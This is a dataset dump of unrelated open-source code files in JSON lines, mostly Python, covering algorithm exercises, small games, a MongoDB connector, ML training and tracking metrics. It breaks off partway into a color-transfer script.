+{"seq_id":"204666694","text":"# Definition for singly-linked list.\n#class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n\n def find_kth_node(self, head, k): #k : 0 to len-1\n ptr = head\n for _ in xrange(k):\n ptr = ptr.next\n return ptr\n\n # @param head, a ListNode\n # @param k, an integer\n # @return a ListNode\n def rotateRight(self, head, k):\n if (not head):\n return None\n len = 1\n ptr = head\n while (ptr.next):\n ptr = ptr.next\n len += 1\n ptr.next = head\n new_tail = self.find_kth_node(head, -(k+1) % len)\n new_head = new_tail.next\n new_tail.next = None\n return new_head\n","sub_path":"lc/prob_61.py","file_name":"prob_61.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"11007916","text":"from spack import *\nimport sys,os\nsys.path.append(os.path.join(os.path.dirname(__file__), '../../common'))\nfrom scrampackage import write_scram_toolfile\n\n\nclass UuidToolfile(Package):\n url = 'file://' + os.path.dirname(__file__) + '/../../common/junk.xml'\n version('1.0', '68841b7dcbd130afd7d236afe8fd5b949f017615', expand=False)\n if sys.platform == 'darwin':\n depends_on('libuuid')\n else:\n depends_on('uuid-cms')\n\n def install(self, spec, prefix):\n values = {}\n if sys.platform == 'darwin':\n values['VER'] = spec['libuuid'].version\n values['PFX'] = spec['libuuid'].prefix\n else:\n values['VER'] = spec['uuid-cms'].version\n values['PFX'] = spec['uuid-cms'].prefix\n fname = 'uuid-cms.xml'\n contents = str(\"\"\"\n \n \n \n \n \n \n \n \"\"\")\n write_scram_toolfile(contents, values, fname, prefix)\n","sub_path":"packages/uuid-toolfile/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"643400281","text":"# Daniel Chen\n# Double Dice\n# 1 April 2019\n\nrounds = int(input('Rounds: '))\n\nplayer1 = 100\nplayer2 = 100\n\nfor x in range(rounds):\n bothplayers = input('Round ' + str(x + 1) + ': ')\n player1score = int(bothplayers[0])\n player2score = int(bothplayers[2])\n if player1score > player2score:\n player2 = player2 - player1score\n elif player2score > player1score:\n player1 = player1 - player2score\n\nprint(player1)\nprint(player2)\n ","sub_path":"Scripting/doubledice.py","file_name":"doubledice.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"257203679","text":"#!/usr/bin/env python3\nimport itertools\n\nimport numpy as np\nfrom scipy.sparse import csr_matrix\n\nALGORITHMS = {\"1\", \"2\"}\n# 1: sorted by flow to node\n# 2: incremental shaving by flow to node\n\n\ndef _get_flow_graph(graph):\n \"\"\"\n :param graph: square matrix representing graph\n :type graph: scipy.sparse.csr_matrix\n :return: square matrix representing flow graph\n :rtype: scipy.sparse.lil_matrix\n \"\"\"\n # calculate full squared matrix\n flow_matrix = graph * graph\n\n # covert to LIL so zeroing the diagonal is more efficient\n flow_graph = flow_matrix.tolil()\n\n # zero the diagonal, since nodes should not have flow with themselves\n for i in range(graph.shape[0]):\n flow_graph[i, i] = 0\n\n return flow_graph\n\n\ndef get_density_sorted_cluster(nodes, edges, algo):\n \"\"\"\n Get the information necessary to prune a graph (or subgraph).\n :param nodes: list of all node IDs (ints) in cluster.\n :type nodes: collections.Sequence[int]\n :param edges: list (iterator will work) of all edges, in the form\n (nodeID_1, nodeID_2, weight). Edges with a node ID that is\n not in `nodes` will be ignored.\n :type edges: collections.Iterable[(int, int, float)]\n :param algo: shaving algo to use (from ALGORITHMS)\n :type algo: str\n :return: list of node IDs sorted from least dense to most dense\n :rtype: tuple[int]\n \"\"\"\n n = len(nodes)\n\n # get a reverse dict for old IDs (elements of `nodes`) to new IDs (indices\n # of `nodes`). ID conversion is required so the graph can be\n # represented in a matrix.\n new_ids = {old_id: i for i, old_id in enumerate(nodes)}\n\n rows = list()\n cols = list()\n data = list()\n for id1, id2, weight in edges:\n try:\n new_id1 = new_ids[id1]\n new_id2 = new_ids[id2]\n except KeyError:\n continue # edge is not within subgraph; ignore it\n\n # TODO: if edges already contains both directions, bidirectional edges\n # TODO: do not need to be added here for each edge\n\n rows.append(new_id1)\n cols.append(new_id2)\n data.append(weight)\n\n rows.append(new_id2)\n cols.append(new_id1)\n data.append(weight)\n\n graph = csr_matrix((data, (rows, cols)), shape=(n, n), dtype=np.float16)\n\n # sort the new IDs by density, and convert back to old IDs\n return tuple(nodes[i] for i in _ALGORITHM_FUNCTIONS[algo](graph))\n\n\ndef _get_density_sorted_graph_1(graph):\n \"\"\"\n :param graph: square matrix representing graph\n :type graph: scipy.sparse.csr_matrix\n :return: A list of indices of the matrix that represents `graph` (each\n index represents a point) sorted from lowest density to highest\n density using node flow.\n \"\"\"\n n = graph.shape[0]\n\n flow_graph = _get_flow_graph(graph)\n\n # calculate sum of flow of all edges for each point (by summing the rows of\n # the flow matrix)\n node_densities = np.array(flow_graph.sum(axis=1).flat)\n\n sort_indices = node_densities.argsort()\n\n sorted_nodes = [None] * n\n for point_id, sort_index in enumerate(sort_indices):\n sorted_nodes[sort_index] = point_id\n\n return sorted_nodes\n\n\ndef _get_density_sorted_graph_2(graph):\n \"\"\"\n :param graph: square matrix representing graph\n :type graph: scipy.sparse.csr_matrix\n :return: A list of indices of the matrix that represents `graph` (each\n index represents a point) sorted from lowest density to highest\n density by incrementally shaving by node flow.\n \"\"\"\n flow_graph = _get_flow_graph(graph)\n\n # calculate sum of flow of all edges for each point (by summing the rows of\n # the flow matrix)\n node_densities = dict(enumerate(flow_graph.sum(axis=1).flat))\n\n sorted_nodes = list()\n while node_densities:\n least_dense_node = min(node_densities, key=node_densities.get)\n\n sorted_nodes.append(least_dense_node)\n\n del node_densities[least_dense_node]\n\n # all nodes connected to the least dense node\n connected_nodes = graph[least_dense_node].nonzero()[1]\n\n for node_1, node_2 in itertools.combinations(connected_nodes, 2):\n flow = graph[node_1, node_2]\n\n if node_1 in node_densities:\n node_densities[node_1] -= flow\n if node_2 in node_densities:\n node_densities[node_2] -= flow\n\n assert not node_densities\n\n return sorted_nodes\n\n\n_ALGORITHM_FUNCTIONS = {\n \"1\": _get_density_sorted_graph_1,\n \"2\": _get_density_sorted_graph_2\n}\n","sub_path":"python/graphHDS/prune_cluster.py","file_name":"prune_cluster.py","file_ext":"py","file_size_in_byte":4593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"312847766","text":"from yahoo_finance import Share\nfrom pprint import pprint\n\ndef current_price_stock(name):\n stock = Share('{}'.format(name))\n return stock.get_price()\n\ndef current_time_stock(name):\n stock = Share('{}'.format(name))\n return stock.get_trade_datetime()\n\ndef price_change(name, beginning, ending):\n stock = Share('{}'.format(name))\n history_list = stock.get_historical(beginning, ending)\n length_of_days = len(history_list)\n first_day_data = history_list[length_of_days - 1]\n last_day_data = history_list[0]\n first_day_price = first_day_data.get('Adj_Close')\n last_day_price = last_day_data.get('Adj_Close')\n fprice = float(first_day_price)\n lprice = float(last_day_price)\n return fprice - lprice\n\n","sub_path":"Skeleton/stock_info.py","file_name":"stock_info.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"243685552","text":"\nimport random\n\nrps = {\n\"rock\" : [\"paper\", \"scissors\", \"rock\"],\n\"paper\" : [\"scissors\", \"rock\", \"paper\"],\n\"scissors\" : [\"rock\", \"paper\", \"scissors\"]\n}\n\n# wins\n# rps[player[0]]\n\n# all keys\noptions = list(rps.keys())\n\ngame_in_session = \"yes\"\n\nprint(\"\\nWelcome to Rock, Paper, Scissors!\")\n\nwhile game_in_session == \"yes\":\n player = input(\"\\nMake your selection; Rock, Paper, or Scissors: \").lower()\n\n computer = random.choice(list(rps.keys()))\n print(f\"The computer has chosen: {computer}.\\n\")\n if computer == rps[player][0]:\n print(\"You lose.\")\n elif computer == rps[player][1]:\n print(\"You win.\")\n elif computer == rps[player][2]:\n print(\"You tied.\")\n else:\n print(\"Error\")\n\n game_in_session = input(\"\\nDo you want to play another game? \").lower()\nelse:\n print(\"\\nThank you for playing.\")\n\n\n'''\ngame_in_session = \"yes\"\n\nprint(\"\\nWelcome to Rock, Paper, Scissors!\")\n\nwhile game_in_session == \"yes\":\n\n player = input(\"\\nMake your selection: Rock, Paper, or Scissors: \")\n\n computer = random.choice(rps)\n\n print(f\"The computer has chosen: {computer}\")\n\n if player is rps[0] and computer is rps[2]:\n print(\"You have lost.\")\n\n elif((player == \"Rock\" and computer == \"Scissors\") or (player == \"Paper\" and computer == \"Rock\") or (player == \"Scissors\" and computer == \"Paper\")):\n print(\"You have won.\")\n\n elif player == computer:\n print(\"You have tied.\")\n\n game_in_session = input(\"Do you want to play another game? \")\nelse:\n print(\"Thank you for playing.\")\n'''\n","sub_path":"Assignments/duncan/python/lab07_rps_game.py","file_name":"lab07_rps_game.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"201569893","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'Turing'\n\nimport Tkinter as tk\n\nif __name__ == '__main__':\n msg = tk.Message(text=\"Oh by the way, which one's Pink?\")\n msg.config(bg=\"pink\", font=(\"times\", 16, \"italic\"))\n msg.pack(fill=tk.X, expand=tk.YES)\n tk.mainloop()\n","sub_path":"python/PP4E/Gui/Tour/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"562384708","text":"from django.conf.urls.defaults import *\n\n# admin enabled\nfrom django.contrib import admin\nadmin.autodiscover()\n\nnamespace = \"specialrequestchit\"\n\nurlpatterns = patterns('specialrequestchit.views',\n\n url(r'^$', 'specReq', name = \"specReq\"),\n (r'^/$', 'specReq'),\n (r'specReqSubmit$', 'specReqSubmit'),\n (r'specReqView$', 'specReqView'),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n (r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # enabled the admin\n (r'^admin/', include(admin.site.urls)),\n)\n","sub_path":"fleet/src/cms/specialrequestchit/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"597143786","text":"import z3\n\n# This file contains global symbols for Intel pseudocode.\n# Basically, these are implementations of built-in functions that Intel doesn't\n# feel the need to specify apparently.\n\ndef POPCNT(bits, **kwargs):\n # This is a variable-width version of the classic 0x5555/0x3333/0x0f0f/0xffff\n # etc algorithm, to sum N bits in O(log2 N) steps\n shift = 1\n while shift < bits.size():\n mask = sum(1 << x for x in range(bits.size()) if not x & shift)\n bits = (bits & mask) + ((bits >> shift) & mask)\n shift *= 2\n return bits & ((1 << shift) - 1)\n\n# Should maybe handle this better...\ndef ZeroExtend(v, **kwargs):\n return v\n","sub_path":"intr_builtins.py","file_name":"intr_builtins.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"362044929","text":"# written by Jingfeng Xia, jxia@wpi.edu\n\nimport LR\nimport numpy as np\nimport math\n\ndef train(X, Y, alpha=0.01, n_epoch=100):\n # number of features\n p = X.shape[1]\n # number of classes \n c = int(max(Y))\n\n # randomly initialize W and b\n W = np.asmatrix(np.random.rand(c,p))\n b= np.asmatrix(np.random.rand(c,1))\n\n for _ in range(n_epoch):\n # go through each training instance\n for x,y in zip(X,Y):\n y = int(y)-1\n x = x.T # convert to column vector\n # Forward pass: compute the logits, softmax and cross_entropy \n (z,a,l) = LR.forward(x,y,W,b)\n # Back Propagation: compute local gradients of cross_entropy, softmax and logits\n (dL_da,da_dz,dz_dW,dz_db) = LR.backward(x,y,a)\n # compute the global gradients using chain rule\n dL_dz = LR.compute_dL_dz(dL_da,da_dz)\n dL_dW = LR.compute_dL_dW(dL_dz,dz_dW)\n dL_db = LR.compute_dL_db(dL_dz,dz_db)\n # update the paramters using gradient descent\n W = LR.update_W(W, dL_dW, alpha)\n b = LR.update_b(b, dL_db, alpha)\n return W, b\n\ndef predict(Xtest, W, b):\n n = Xtest.shape[0]\n c = W.shape[0]\n Y = np.zeros(n) # initialize as all zeros\n P = np.asmatrix(np.zeros((n,c)))\n\n for i, x in enumerate(Xtest):\n x = x.T # convert to column vector\n# print(type(x))\n z = np.asmatrix(np.zeros(b.shape))\n z = np.dot(W,x) + b\n a = np.mat(np.zeros(z.shape))\n for j in range(0,z.shape[0]):\n a[j] = np.exp(z[j])\n a /= np.sum(a)\n Y[i] = np.argmax(a)+1\n P[i] = a.T\n\n return Y, P\n\ndef accuracy(test_y_or_train_y,Y):\n true = 0\n rows = Y.shape[0]\n for i in range(0,rows):\n if Y[i] == test_y_or_train_y[i]:\n true+=1\n else:\n pass\n accuracy = true/rows\n return accuracy","sub_path":"server/ML/Model/train_test.py","file_name":"train_test.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"336560542","text":"#!/usr/bin/env python\n# coding:utf-8\nimport pymongo\nfrom pymongo import ASCENDING, DESCENDING\n\n# MongoDB コネクタ\nclass Connector:\n def __init__(self, dbName):\n # DB認証情報\n user = 'sObjectDataAdmin'\n pwd = 'Password01'\n self.client = pymongo.MongoClient('mongodb://mongo:27017/')\n # DB接続\n self.db = self.client[dbName]\n self.db.authenticate(user, pwd)\n assert self.client is not None\n\n #self.db.collection_names()\n #print(str(self.db.name), flush=True)\n\n def __del__(self):\n print(\"__del__\", flush=True)\n #self.client.close()\n\n # コレクションの確認, インデックス追加\n def checkCollection(self, collectionName, indexColumn):\n self.collection = self.db[collectionName]\n assert self.collection is not None\n ## インデックス追加\n self.collection.create_index([(indexColumn, ASCENDING)])\n print(\"Check Collection: \" + collectionName, flush=True)\n print(str(self.collection.name) + ' recodes : ' + str(self.collection.find().count()), flush=True)\n\n # コレクション削除\n def dropCollection(self, collectionName):\n self.collection = self.db[collectionName]\n assert self.collection is not None\n print(\"Drop Collection: \" + collectionName, flush=True)\n self.collection.drop()\n\n # バルクデータ登録\n def insertBulkdata(self, collectionName, data):\n if len(data) == 0:\n print(\"Noinsart Collection: \" + collectionName, flush=True)\n return \n self.collection = self.db[collectionName]\n assert self.collection is not None\n print(\"Insart Collection: \" + collectionName, flush=True)\n print(str(len(data)), flush=True)\n ## データ追加\n self.collection.insert_many(data)\n #assert self.collection.count_documents({}) == len(data)\n\n print(str(self.collection.name) + ' recodes : ' + str(self.collection.find().count()), flush=True)\n return len(data)\n\n ### 検索表示\n # 全データ表示\n def getAlldata(self, collectionName):\n self.collection = self.db[collectionName]\n assert self.collection is not None\n print(\"Get Collection: \" + collectionName, flush=True)\n datas = [data for data in self.collection.find({}, {'_id': False})]\n return datas\n\n # 1条件検索\n def searchSingleFilter(self, collectionName, Columns, value):\n self.collection = self.db[collectionName]\n assert self.collection is not None\n print(\"Search Collection: \" + Columns + \"= \" + value, flush=True)\n datas = [data for data in self.collection.find({Columns: value}, {'_id': False})]\n return datas\n\n # 期間指定検索\n def searchDatePeriodFilter(self, collectionName, dateColumn, startDate, endDate):\n self.collection = self.db[collectionName]\n assert self.collection is not None\n print(\"Search Collection: \" + startDate + \" - \" + endDate, flush=True)\n dateFilter= {dateColumn :{\"$gte\": str(startDate), \"$lte\": str(endDate)}}\n datas = [data for data in self.collection.find(dateFilter, {'_id': False}, sort = [(dateColumn, ASCENDING)])]\n return datas\n\n #### 複合検索-カラム作成 ############ \n def makeColumnsProject(self, mainColumns, subColumns, subCollectionName):\n columns = {}\n # メインコレクションカラム\n for column in mainColumns:\n #print(str(column), flush=True)\n columns[column] = \"$\" + column\n # サブコレクションカラム\n for column in subColumns:\n #print(str(column), flush=True)\n columns[column] = \"$\" + subCollectionName + \".\" + column\n # オブジェクトId無効\n columns[\"_id\"] = False\n project={\"$project\": columns}\n return project\n\n #### 複合���索-結合ルール作成 ############ \n def makeJoinLookup(self, mainCollection, subCollection):\n lookup={\"$lookup\":\n {\n \"from\":subCollection[\"collection\"],\n \"localField\": mainCollection[\"joinField\"],\n \"foreignField\":subCollection[\"joinField\"],\n \"as\":subCollection[\"collection\"]\n }}\n return lookup\n\n #### 複合検索 \n def joinsearchData(self, mainCollection, subCollection):\n self.collection = self.db[mainCollection[\"collection\"]]\n assert self.collection is not None\n ## 結合ルール\n lookup = self.makeJoinLookup(mainCollection, subCollection)\n ## subコレクションデータの配列解除\n unwind={\"$unwind\": \"$\"+subCollection[\"collection\"]}\n ## 必要なカラムの取り出し\n project=self.makeColumnsProject(mainCollection[\"columns\"], subCollection[\"columns\"], subCollection[\"collection\"])\n\n print(\"lookup Info: \" + str(lookup), flush=True)\n print(\"project Info: \" + str(project), flush=True)\n datas = [data for data in self.collection.aggregate([lookup, unwind, project])]\n return datas\n\n #### 複合検索-期間指定\n def joinsearchDataPeriod(self, mainCollection, subCollection,datePeriod):\n self.collection = self.db[mainCollection[\"collection\"]]\n assert self.collection is not None\n ## 結合ルール\n lookup = self.makeJoinLookup(mainCollection, subCollection)\n ## subコレクションデータの配列解除\n unwind={\"$unwind\": \"$\"+subCollection[\"collection\"]}\n ## 必要なカラムの取り出し\n project=self.makeColumnsProject(mainCollection[\"columns\"], subCollection[\"columns\"], subCollection[\"collection\"])\n\n print(\"lookup Info: \" + str(lookup), flush=True)\n print(\"project Info: \" + str(project), flush=True)\n\n #dateFilter= {dateColumn :{\"$gte\": str(startDate), \"$lte\": str(EndDate)}}\n dateFilter= {\"$match\": {datePeriod[\"dateColumn\"] :{\"$gte\": datePeriod[\"startDate\"], \"$lte\": datePeriod[\"endDate\"]}}}\n print(\"dateFilter Info: \" + str(dateFilter), flush=True)\n\n datas = [data for data in self.collection.aggregate([lookup, dateFilter, unwind, project])]\n print(\"dateFilter Info: \" + str([lookup, dateFilter, unwind, project]), flush=True)\n return datas\n\n def pipelineQuery(self, CollectionName, pipeline):\n self.collection = self.db[CollectionName]\n assert self.collection is not None\n datas = [data for data in self.collection.aggregate(pipeline)]\n return datas","sub_path":"sfaDataeRplica/accessormongo/code/MongoConnector.py","file_name":"MongoConnector.py","file_ext":"py","file_size_in_byte":6544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"80326778","text":"import numpy as np\nfrom scipy.optimize import linear_sum_assignment\nfrom ._base_metric import _BaseMetric\nfrom .. import _timing\nfrom .. import utils\n\n\nclass Identity(_BaseMetric):\n \"\"\"Class which implements the ID metrics\"\"\"\n\n @staticmethod\n def get_default_config():\n \"\"\"Default class config values\"\"\"\n default_config = {\n 'THRESHOLD': 0.5, # Similarity score threshold required for a IDTP match. Default 0.5.\n 'PRINT_CONFIG': True, # Whether to print the config information on init. Default: False.\n 'TRACK_IOU_THRESH': 0.2, # intersection of gt and pred tracks should be larger then this thresh. thresh is relative to pred track length\n }\n return default_config\n\n def __init__(self, config=None):\n super().__init__()\n self.integer_fields = ['IDTP', 'IDFN', 'IDFP']\n self.float_fields = ['IDF1', 'IDR', 'IDP']\n self.fields = self.float_fields + self.integer_fields\n self.summary_fields = self.fields\n\n # Configuration options:\n self.config = utils.init_config(config, self.get_default_config(), self.get_name())\n self.threshold = float(self.config['THRESHOLD'])\n self.track_iou_threshold = float(self.config['TRACK_IOU_THRESH'])\n\n @_timing.time\n def eval_sequence(self, data):\n \"\"\"Calculates ID metrics for one sequence\"\"\"\n # Initialise results\n res = {}\n for field in self.fields:\n res[field] = 0\n\n # Return result quickly if tracker or gt sequence is empty\n if data['num_tracker_dets'] == 0:\n res['IDFN'] = data['num_gt_dets']\n return self._compute_final_fields(res)\n if data['num_gt_dets'] == 0:\n res['IDFP'] = data['num_tracker_dets']\n return self._compute_final_fields(res)\n\n # Variables counting global association\n potential_matches_count = np.zeros((data['num_gt_ids'], data['num_tracker_ids']))\n gt_id_count = np.zeros(data['num_gt_ids'])\n tracker_id_count = np.zeros(data['num_tracker_ids'])\n\n # First loop through each timestep and accumulate global track information.\n for t, (gt_ids_t, tracker_ids_t) in enumerate(zip(data['gt_ids'], data['tracker_ids'])):\n # Count the potential matches between ids in each timestep\n matches_mask = np.greater_equal(data['similarity_scores'][t], self.threshold)\n match_idx_gt, match_idx_tracker = np.nonzero(matches_mask)\n potential_matches_count[gt_ids_t[match_idx_gt.tolist()].tolist(), tracker_ids_t[match_idx_tracker.tolist()].tolist()] += 1\n\n # Calculate the total number of dets for each gt_id and tracker_id.\n gt_id_count[gt_ids_t.tolist()] += 1\n tracker_id_count[tracker_ids_t.tolist()] += 1\n\n # Calculate optimal assignment cost matrix for ID metrics\n num_gt_ids = data['num_gt_ids']\n num_tracker_ids = data['num_tracker_ids']\n fp_mat = np.zeros((num_gt_ids + num_tracker_ids, num_gt_ids + num_tracker_ids))\n fn_mat = np.zeros((num_gt_ids + num_tracker_ids, num_gt_ids + num_tracker_ids))\n fp_mat[num_gt_ids:, :num_tracker_ids] = 1e10\n fn_mat[:num_gt_ids, num_tracker_ids:] = 1e10\n for gt_id in range(num_gt_ids):\n fn_mat[gt_id, :num_tracker_ids] = gt_id_count[gt_id]\n fn_mat[gt_id, num_tracker_ids + gt_id] = gt_id_count[gt_id]\n for tracker_id in range(num_tracker_ids):\n fp_mat[:num_gt_ids, tracker_id] = tracker_id_count[tracker_id]\n fp_mat[tracker_id + num_gt_ids, tracker_id] = tracker_id_count[tracker_id]\n fn_mat[:num_gt_ids, :num_tracker_ids] -= potential_matches_count\n fp_mat[:num_gt_ids, :num_tracker_ids] -= potential_matches_count\n\n # Hungarian algorithm\n match_rows, match_cols = linear_sum_assignment(fn_mat + fp_mat)\n\n # Accumulate basic statistics\n res['IDFN'] = fn_mat[match_rows, match_cols].sum().astype(np.int)\n res['IDFP'] = fp_mat[match_rows, match_cols].sum().astype(np.int)\n res['IDTP'] = (gt_id_count.sum() - res['IDFN']).astype(np.int)\n\n # Calculate final ID scores\n res = self._compute_final_fields(res)\n return res\n\n def combine_classes_class_averaged(self, all_res, ignore_empty_classes=False):\n \"\"\"Combines metrics across all classes by averaging over the class values.\n If 'ignore_empty_classes' is True, then it only sums over classes with at least one gt or predicted detection.\n \"\"\"\n res = {}\n for field in self.integer_fields:\n if ignore_empty_classes:\n res[field] = self._combine_sum({k: v for k, v in all_res.items()\n if v['IDTP'] + v['IDFN'] + v['IDFP'] > 0 + np.finfo('float').eps},\n field)\n else:\n res[field] = self._combine_sum({k: v for k, v in all_res.items()}, field)\n for field in self.float_fields:\n if ignore_empty_classes:\n res[field] = np.mean([v[field] for v in all_res.values()\n if v['IDTP'] + v['IDFN'] + v['IDFP'] > 0 + np.finfo('float').eps], axis=0)\n else:\n res[field] = np.mean([v[field] for v in all_res.values()], axis=0)\n return res\n\n def combine_classes_det_averaged(self, all_res):\n \"\"\"Combines metrics across all classes by averaging over the detection values\"\"\"\n res = {}\n for field in self.integer_fields:\n res[field] = self._combine_sum(all_res, field)\n res = self._compute_final_fields(res)\n return res\n\n def combine_sequences(self, all_res):\n \"\"\"Combines metrics across all sequences\"\"\"\n res = {}\n for field in self.integer_fields:\n res[field] = self._combine_sum(all_res, field)\n res = self._compute_final_fields(res)\n return res\n\n @staticmethod\n def _compute_final_fields(res):\n \"\"\"Calculate sub-metric ('field') values which only depend on other sub-metric values.\n This function is used both for both per-sequence calculation, and in combining values across sequences.\n \"\"\"\n if res['IDFN'] != 0:\n res['IDR'] = res['IDTP'] / np.maximum(1.0, res['IDTP'] + res['IDFN'])\n else:\n res['IDR'] = 1\n if res['IDFP'] != 0:\n res['IDP'] = res['IDTP'] / np.maximum(1.0, res['IDTP'] + res['IDFP'])\n else:\n res['IDP'] = 1\n if res['IDFN'] != 0 or res['IDFP'] != 0:\n res['IDF1'] = res['IDTP'] / np.maximum(1.0, res['IDTP'] + 0.5 * res['IDFP'] + 0.5 * res['IDFN'])\n else:\n res['IDF1'] = 1\n return res\n\n\nclass TrackIdentity(Identity):\n @_timing.time\n def eval_sequence(self, data):\n \"\"\"Calculates ID metrics for one sequence\"\"\"\n # Initialise results\n res = {}\n for field in self.fields:\n res[field] = 0\n\n # Return result quickly if tracker or gt sequence is empty\n if data['num_tracker_dets'] == 0:\n res['IDFN'] = data['num_gt_ids']\n return res\n if data['num_gt_dets'] == 0:\n res['IDFP'] = data['num_tracker_ids']\n return res\n\n # Variables counting global association\n potential_matches_count = np.zeros((data['num_gt_ids'], data['num_tracker_ids']))\n gt_id_count = np.zeros(data['num_gt_ids'])\n tracker_id_count = np.zeros(data['num_tracker_ids'])\n\n # First loop through each timestep and accumulate global track information.\n for t, (gt_ids_t, tracker_ids_t) in enumerate(zip(data['gt_ids'], data['tracker_ids'])):\n # Count the potential matches between ids in each timestep\n matches_mask = np.greater_equal(data['similarity_scores'][t], self.threshold)\n match_idx_gt, match_idx_tracker = np.nonzero(matches_mask)\n potential_matches_count[gt_ids_t[match_idx_gt.tolist()].tolist(), tracker_ids_t[match_idx_tracker.tolist()].tolist()] += 1\n\n # Calculate the total number of dets for each gt_id and tracker_id.\n gt_id_count[gt_ids_t.tolist()] += 1\n tracker_id_count[tracker_ids_t.tolist()] += 1\n\n # Calculate optimal assignment cost matrix for ID metrics\n num_gt_ids = data['num_gt_ids']\n num_tracker_ids = data['num_tracker_ids']\n fp_mat = np.zeros((num_gt_ids + num_tracker_ids, num_gt_ids + num_tracker_ids))\n fn_mat = np.zeros((num_gt_ids + num_tracker_ids, num_gt_ids + num_tracker_ids))\n fp_mat[num_gt_ids:, :num_tracker_ids] = 1\n fn_mat[:num_gt_ids, num_tracker_ids:] = 1\n for gt_id in range(num_gt_ids):\n fn_mat[gt_id, :num_tracker_ids] = gt_id_count[gt_id]\n fn_mat[gt_id, num_tracker_ids + gt_id] = 1.0 - 1e-6\n for tracker_id in range(num_tracker_ids):\n fp_mat[:num_gt_ids, tracker_id] = tracker_id_count[tracker_id]\n fp_mat[tracker_id + num_gt_ids, tracker_id] = 1.0 - 1e-6\n fn_mat[:num_gt_ids, :num_tracker_ids] -= potential_matches_count\n fp_mat[:num_gt_ids, :num_tracker_ids] -= potential_matches_count\n cost_matrix = fn_mat + fp_mat\n cost_matrix[:num_gt_ids, :num_tracker_ids] /= (cost_matrix[:num_gt_ids, :num_tracker_ids] + potential_matches_count)\n cost_matrix[num_gt_ids:, num_tracker_ids:] = 1\n\n # Hungarian algorithm for IDF1\n match_rows, match_cols = linear_sum_assignment(cost_matrix)\n match_mask = np.logical_and(match_rows < num_gt_ids, match_cols < num_tracker_ids)\n # pred tracks with relative iou to predicted track length lower then thresh are sent to FN\n re_assigned = np.sum(np.less_equal(potential_matches_count[match_rows[match_mask],\n match_cols[match_mask]] /\n tracker_id_count[match_cols[match_mask]],\n self.track_iou_threshold)) # relative to predicted track length intersection\n # Hungarian algorithm for track_IDF1\n res['IDFN'] = np.sum(np.logical_and(match_rows < num_gt_ids, match_cols >= num_tracker_ids)).astype(np.int) + re_assigned\n res['IDFP'] = np.sum(np.logical_and(match_rows >= num_gt_ids, match_cols < num_tracker_ids)).astype(np.int) + re_assigned # sent to sink pred tracks counts as FP\n res['IDTP'] = (num_gt_ids - res['IDFN']).astype(np.int)\n\n # Calculate final ID scores\n res = self._compute_final_fields(res)\n return res\n\n def combine_sequences(self, all_res, average: str = \"macro\"):\n \"\"\"Combines metrics across all sequences\"\"\"\n res = {}\n for field in self.integer_fields:\n res[field] = self._combine_sum(all_res, field)\n\n if average == \"micro\":\n res = self._compute_final_fields(res)\n elif average == \"macro\":\n for field in self.float_fields:\n res[field] = np.mean([all_res[k][field] for k in all_res.keys()]).astype(float)\n else:\n raise ValueError(f\"Unexpected average value: {average}\")\n return res\n","sub_path":"trackeval/metrics/identity.py","file_name":"identity.py","file_ext":"py","file_size_in_byte":11267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"465990970","text":"\"\"\"\nbrief: change color through normalization (changing mean, std)\nauthor: lzhbrian (https://lzhbrian.me)\ndate: 2019.4.24\nusage:\n\n import cv2\n import numpy as np\n import matplotlib.pyplot as plt\n from PIL import Image\n\n from get_mask import get_mask\n from color_changer import color_transfer_wrapper\n\n img_path = './data/img.png'\n img_mask_path = './data/img.json'\n target_color_img_path = './data/color.jpg'\n target_color_img_mask_path = './data/color.json'\n\n img = np.array(Image.open(img_path).convert('RGB'))\n img_mask = get_mask(img_path, img_mask_path)\n target_color_img = np.array(Image.open(target_color_img_path).convert('RGB'))\n target_color_img_mask = get_mask(target_color_img_path, target_color_img_mask_path)\n\n img_transformed = color_transfer_wrapper(img, target_color_img,\n cv2.COLOR_RGB2LAB, cv2.COLOR_LAB2RGB,\n image_mask=img_mask,\n target_color_image_mask=target_color_img_mask,\n calc_channel=[True, True, True])\n\n img_transformed_pil = Image.fromarray(img_transformed)\n img_transformed_pil.save('output.png')\n\n plt.figure(figsize=(20, 8))\n plt.subplot(151); plt.imshow(img); plt.title('image'); plt.axis('off')\n plt.subplot(152); plt.imshow(img_mask); plt.title('mask'); plt.axis('off')\n plt.subplot(153); plt.imshow(target_color_img); plt.title('target color'); plt.axis('off')\n plt.subplot(154); plt.imshow(target_color_img_mask); plt.title('target color mask'); plt.axis('off')\n plt.subplot(155); plt.imshow(img_transformed); plt.title('transformed'); plt.axis('off')\n plt.tight_layout()\n plt.savefig('output_concat.png')\n\"\"\"\n\nimport os\nimport sys\nimport json\nfrom glob import glob\nfrom tqdm import 